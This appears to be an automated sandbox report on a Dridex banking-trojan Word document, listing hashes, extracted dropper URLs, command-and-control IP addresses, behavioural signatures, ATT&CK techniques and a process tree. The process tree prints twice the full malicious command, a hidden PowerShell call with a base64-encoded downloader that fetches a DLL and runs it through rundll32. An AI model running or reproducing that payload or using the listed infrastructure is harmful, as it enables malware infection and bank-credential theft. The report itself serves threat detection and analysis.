dridex | d2bc5e480daba7368064d7de34a53077e968dafc86084c87191c5c3d2fb7c444

General

Target
Information-822908953.doc
Size 117KB
Sample201120-npy8159bfx
SHA256 d2bc5e480daba7368064d7de34a53077e968dafc86084c87191c5c3d2fb7c444
MD5 59b5d3179a962efa890e2df17aaf31d1
SHA1 52b0231b64030049d61096bd2bb872ab89ac7e55
SHA512 4bbb5fbd99e9ae35f690dcc710d8ba168cf5361fd4857f5b9b341185834a9d1e19f641a47cf6ea18366d6f2d13e1ce457b53c12f9264b9da5fe38d02b1a29432
MD5 SHA1 SHA512

Score

10^/10

dridex 10555 botnet cryptone discovery evasion loader packer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://veva.vn/zntk070.png
exe.dropper
http://hardmed-eg.com/o76nxa.png
exe.dropper
http://islamabout.com/ga140h7l.zip
exe.dropper
http://ferretec.com/c2eivsswg.rar
exe.dropper
http://rasadbar.ir/t6yswb.pdf
exe.dropper
http://seniorcarecompass.inifaresworkshops.com/vr6ebzold.png

Extracted

Family

dridex

Botnet

10555

C2

162.241.44.26:9443
192.232.229.53:4443
77.220.64.34:443
193.90.12.121:3098

rc4.plain

Signatures

Dridex
Dridex(known as Bugat/Cridex) is a form of malware that specializes in stealing bank credentials.
botnet dridex

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2620	3460	cmd.exe	65

CryptOne packer 2 IoCs

Detects CryptOne packer defined in NCC blogpost.

cryptone packer

resource	yara_rule
behavioral2/files/0x000100000001ab9e-12.dat	cryptone
behavioral2/files/0x000100000001ab9e-14.dat	cryptone

Dridex Loader 1 IoCs

Detects Dridex both x86 and x64 loader in memory.

botnet loader

resource	yara_rule
behavioral2/memory/744-15-0x0000000000BF0000-0x0000000000C2D000-memory.dmp	dridex_ldr

Blocklisted process makes network request 3 IoCs

flow	pid	Process
21	2116	powershell.exe
29	744	rundll32.exe
30	744	rundll32.exe

Loads dropped DLL 1 IoCs

pid	Process
744	rundll32.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2116	powershell.exe
2116	powershell.exe
2116	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2116	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE
640	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2620 wrote to memory of 1172	2620	cmd.exe	79
PID 2620 wrote to memory of 1172	2620	cmd.exe	79
PID 2620 wrote to memory of 2116	2620	cmd.exe	80
PID 2620 wrote to memory of 2116	2620	cmd.exe	80
PID 2116 wrote to memory of 772	2116	powershell.exe	81
PID 2116 wrote to memory of 772	2116	powershell.exe	81
PID 772 wrote to memory of 744	772	rundll32.exe	82
PID 772 wrote to memory of 744	772	rundll32.exe	82
PID 772 wrote to memory of 744	772	rundll32.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Information-822908953.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:640

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2620
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:1172
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD UwBWACAAIAB0ADQAQgA3AGsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAMQB9AHsAMgB9AHsAMAB9AHsAMwB9ACIALQBmACcAbwAuAEQAaQAnACwAJwBzAFkAcwBUAEUATQAnACwAJwAuAGkAJwAsACcAUgBlAGMAdABvAHIAWQAnACkAIAAgACkAOwAgACAAIAAgACQARgAzADUAQwA4AFgAIAAgAD0AIAAgAFsAdAB5AFAARQBdACgAIgB7ADQAfQB7ADEAfQB7ADIAfQB7ADcAfQB7ADAAfQB7ADYAfQB7ADUAfQB7ADMAfQB7ADgAfQAiACAALQBmACAAJwBDAGUAcABPAEkAJwAsACcAeQBzAFQAZQBtAC4AbgBFAFQALgBzAEUAJwAsACcAUgBWACcALAAnAEEATgBBAGcAZQAnACwAJwBzACcALAAnAHQATQAnACwAJwBOACcALAAnAEkAJwAsACcAUgAnACkAOwAgACAAJABYAGsAYgA3AHIANQBsAD0AKAAoACcAQgA3ACcAKwAnAGYAJwApACsAJwBfACcAKwAoACcAeQAnACsAJwBnAHkAJwApACkAOwAkAFUAZwBsAHAAeABtAGcAPQAkAE0AXwBzADAAeABxADYAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFQANAAxAGIAbwBpAGEAOwAkAEMAcAB0AG4AawBrAGUAPQAoACgAJwBLADAAJwArACcAMAAnACkAKwAoACcAaQAnACsAJwB6AGUAdgAnACkAKQA7ACAAKAAgACAAZwBFAHQALQB2AGEAcgBJAEEAYgBMAEUAIAAgAHQANABiADcASwAgACAALQB2AEEATABVAGUAbwBuAEwAeQAgACAAKQA6ADoAIgBjAHIARQBBAHQAYABFAGAARABpAFIAYABFAEMAYABUAE8AUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AJwArACgAJwBFADEAYgAnACsAJwBhACcAKQArACcAZAA1ACcAKwAnAGUAewAwAH0AUgB2AG0AJwArACcAbgAnACsAJwA3AGsAZAB7ADAAfQAnACkALQBGACAAIABbAEMASABBAFIAXQA5ADIAKQApADsAJABZADcANwA4ADMAZQBqAD0AKAAnAEwAcQAnACsAJwBmAHoAJwArACgAJwBlACcAKwAnAGsAegAnACkAKQA7ACAAIAAkAEYAMwA1AGMAOABYADoAOgAiAFMARQBgAEMAdQBgAFIAaQBUAGAAeQBwAHIAYABPAFQATwBjAG8AbAAiACAAPQAgACgAJwBUAGwAJwArACgAJwBzACcAKwAnADEAMgAnACkAKQA7ACQAVwB5ADgAaQB5AGsAZwA9ACgAKAAnAFcAZgAnACsAJwB1AHkAJwApACsAJwByACcAKwAnAHcAOAAnACkAOwAkAEsANgBiAG8AdwAxAHcAIAA9ACAAKAAnAEYAaAAnACsAKAAnAGQAdAAnACsAJwBtAGUAJwApACsAJwAxADAAJwApADsAJABCADkANgBmAHAAagBlAD0AKAAoACcARABuAGEAJwArACcAaAAnACkAKwAnAG4ANQAnACsAJwB4ACcAKQA7ACQAUgBiAHgAdQB2AF8ANQA9ACgAJwBOACcAKwAoACcAcwA4AGgAJwArACcAZgByACcAKQArACcAMgAnACkAOwAkAFUAeQB2AHoAeQB5AHEAPQAkAEgATwBNAEUAKwAoACgAJwB7ADAAJwArACcAfQBFADEAYgAnACsAKAAnAGEAJwArACcAZAA1AGUAJwApACsAJwB7ADAAJwArACcAfQAnACsAKAAnAFIAdgBtAG4AJwArACcANwBrACcAKQArACcAZAB7ADAAfQAnACkALQBGAFsAYwBIAGEAcgBdADkAMgApACsAJABLADYAYgBvAHcAMQB3ACsAKAAoACcALgBkACcAKwAnAGwAJwApACsAJwBsACcAKQA7ACQAWQBiAHcAbgBsAGIAcQA9ACgAKAAnAEwAbgBtACcAKwAnAGoANwAnACkAKwAnAG8AJwArACcANQAnACkAOwAkAEYAawA3AGUAYQByAF8APQBOAGAAZQBXAC0AYABvAGAAQgBqAEUAYwB0ACAATgBlAFQALgB3AGUAQgBDAGwASQBlAE4AVAA7ACQATwBtAGkAcQAxAHMAaQA9ACgAKAAnAGgAdAAnACsAKAAnAHQAcAAnACsAJwA6AFEAJwApACsAJwApACcAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAKAAnAFEAKQAnACsAJwAoAHEAZAAnACkAKQArACgAKAAnAGQAKQAnACsAJwAoAHYAJwApACkAKwAoACgAJwBlAHYAJwArACcAYQAuAHYAbgBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQArACgAJwB6AG4AdABrACcAKwAnADAAJwApACsAKAAnADcAMAAuACcAKwAnAHAAbgAnACkAKwAnAGcAQAAnACsAKAAnAGgAdAAnACsAJwB0AHAAOgBRACcAKQArACgAKAAnACkAKAAnACkAKQArACgAJwBxACcAKwAnAGQAZAAnACkAKwAoACgAJwApACgAJwApACkAKwAnAFEAJwArACgAKAAnACkAKAAnACkAKQArACcAcQAnACsAJwBkACcAKwAnAGQAJwArACcAKQAnACsAKAAoACcAKAAnACsAJwBoAGEAJwApACkAKwAoACcAcgBkACcAKwAnAG0AJwApACsAKAAnAGUAJwArACcAZAAtACcAKQArACcAZQAnACsAJwBnACcAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAZAAnACsAJwBkACkAJwArACcAKABvACcAKQApACsAKAAnADcAJwArACcANgBuAHgAJwApACsAJwBhAC4AJwArACgAJwBwAG4AJwArACcAZwAnACkAKwAnAEAAaAAnACsAJwB0AHQAJwArACgAJwBwACcAKwAnADoAUQAnACkAKwAoACgAJwApACgAcQAnACsAJwBkACcAKwAnAGQAKQAnACkAKQArACgAKAAnACgAUQAnACkAKQArACcAKQAnACsAKAAnACgAJwArACcAcQBkAGQAKQAnACkAKwAoACgAJwAoAGkAJwApACkAKwAnAHMAbAAnACsAJwBhACcAKwAnAG0AJwArACgAJwBhAGIAbwB1ACcAKwAnAHQAJwApACsAKAAoACcALgBjACcAKwAnAG8AbQBRACcAKwAnACkAKABxAGQAZAAnACkAKQArACgAKAAnACkAKABnAGEAMQAnACsAJwA0ADAAJwArACcAaAA3AGwALgB6ACcAKwAnAGkAcAAnACkAKQArACcAQABoACcAKwAoACcAdAB0ACcAKwAnAHAAJwApACsAJwA6ACcAKwAoACgAJwBRACkAJwApACkAKwAoACgAJwAoAHEAJwArACcAZAAnACkAKQArACgAKAAnAGQAKQAnACkAKQArACcAKAAnACsAKAAoACcAUQApACgAcQAnACsAJwBkAGQAKQAoACcAKQApACsAKAAnAGYAZQByACcAKwAnAHIAZQB0AGUAJwArACcAYwAnACkAKwAnAC4AYwAnACsAKAAoACcAbwBtAFEAKQAoACcAKwAnAHEAZAAnACkAKQArACgAKAAnAGQAKQAoAGMAMgAnACsAJwBlAGkAdgAnACsAJwBzACcAKwAnAHMAdwBnAC4AJwArACcAcgBhAHIAJwApACkAKwAoACcAQAAnACsAJwBoAHQAdAAnACkAKwAnAHAAOgAnACsAKAAoACcAUQApACcAKQApACsAKAAnACgAcQBkAGQAJwArACcAKQAnACkAKwAnACgAJwArACgAKAAnAFEAKQAnACkAKQArACcAKAAnACsAJwBxACcAKwAoACgAJwBkAGQAJwArACcAKQAnACkAKQArACgAJwAoACcAKwAnAHIAYQBzAGEAZABiAGEAcgAuACcAKwAnAGkAcgBRACkAJwApACsAKAAoACcAKAAnACsAJwBxAGQAJwApACkAKwAnAGQAJwArACgAKAAnACkAJwArACcAKAB0ADYAeQBzACcAKwAnAHcAYgAuAHAAJwApACkAKwAoACcAZABmACcAKwAnAEAAJwApACsAJwBoAHQAJwArACcAdAAnACsAJwBwADoAJwArACgAKAAnAFEAKQAnACkAKQArACgAJwAoAHEAZAAnACsAJwBkACcAKwAnACkAKABRACkAJwApACsAKAAoACcAKABxACcAKQApACsAJwBkACcAKwAoACgAJwBkACkAJwApACkAKwAoACgAJwAoACcAKwAnAHMAZQBuACcAKwAnAGkAbwAnACkAKQArACcAcgBjACcAKwAnAGEAcgAnACsAJwBlAGMAJwArACgAJwBvAG0AcABhACcAKwAnAHMAJwApACsAJwBzACcAKwAoACcALgAnACsAJwBpAG4AJwApACsAKAAnAGkAJwArACcAZgBhACcAKQArACcAcgBlACcAKwAoACcAcwB3ACcAKwAnAG8AcgBrACcAKQArACcAcwAnACsAJwBoAG8AJwArACcAcAAnACsAJwBzACcAKwAnAC4AJwArACcAYwAnACsAKAAoACcAbwBtAFEAJwArACcAKQAnACkAKQArACgAKAAnACgAcQBkAGQAJwArACcAKQAoACcAKQApACsAKAAnAHYAJwArACcAcgA2AGUAYgB6ACcAKwAnAG8AbABkAC4AJwArACcAcABuAGcAJwApACsAJwBAACcAKQApAC4AIgBSAGUAcABMAGEAYABDAEUAIgAoACgAKAAoACgAJwBRACcAKwAnACkAKAAnACkAKQArACgAKAAnAHEAZAAnACsAJwBkACkAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABgAEwAaQB0ACIAKAAkAEwANQB5AGQAYwBvAHYAIAArACAAJABVAGcAbABwAHgAbQBnACAAKwAgACQAQwBrAHgAOABuADkAZQApADsAJABQAGMAagBsAGgAawBvAD0AKAAnAFAAMQAnACsAKAAnAGUAJwArACcAaQB4AHUAeQAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVQB5ADMAOQBnAF8AdgAgAGkAbgAgACQATwBtAGkAcQAxAHMAaQAgAHwAIABTAGAATwBgAFIAYABUAC0AbwBiAGoAYABFAGMAVAAgAHsAZwBFAGAAVAAtAFIAQQBgAE4AZABgAG8AbQB9ACkAewB0AHIAeQB7ACQARgBrADcAZQBhAHIAXwAuACIARABgAG8AVwBuAEwATwBhAGAARABGAGAASQBsAEUAIgAoACQAVQB5ADMAOQBnAF8AdgAsACAAJABVAHkAdgB6AHkAeQBxACkAOwAkAFIAcwAyAG0ANQB5ADcAPQAoACgAJwBNACcAKwAnAHQAagAnACkAKwAoACcAYgAnACsAJwBwAHQAdQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABVAHkAdgB6AHkAeQBxACkALgAiAEwARQBOAGcAYABUAGgAIgAgAC0AZwBlACAANAAwADQAMAAwACkAIAB7ACYAKAAnAHIAdQAnACsAJwBuAGQAbAAnACsAJwBsADMAMgAuAGUAeABlACcAKQAgACQAVQB5AHYAegB5AHkAcQAsADAAOwAkAFIAeAA1AGYAcwBnAGcAPQAoACgAJwBBAHMAJwArACcAbgBrACcAKQArACgAJwBuACcAKwAnAHEAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQATQBpADYAZwA0ADYAMAA9ACgAKAAnAFMAJwArACcANgB6ACcAKQArACcAYQAnACsAKAAnAG0AJwArACcAaQBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABQAF8AMAA4ADYAXwBnAD0AKAAoACcATwAnACsAJwA5ADUAZwAnACkAKwAnAHQAJwArACcAawBkACcAKQA=
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2116
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll,0
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:772
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\system32\rundll32.exe" C:\Users\Admin\E1bad5e\Rvmn7kd\Fhdtme10.dll,0
      4⤵
      Blocklisted process makes network request
      Loads dropped DLL
      Checks whether UAC is enabled
      PID:744

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/640-0-0x00007FFC2FE90000-0x00007FFC304C7000-memory.dmp

Download

memory/744-15-0x0000000000BF0000-0x0000000000C2D000-memory.dmp

Download

memory/2116-8-0x00007FFC28F10000-0x00007FFC298FC000-memory.dmp

Download

memory/2116-9-0x000001CEF0FC0000-0x000001CEF0FC1000-memory.dmp

Download

memory/2116-10-0x000001CEF11C0000-0x000001CEF11C1000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads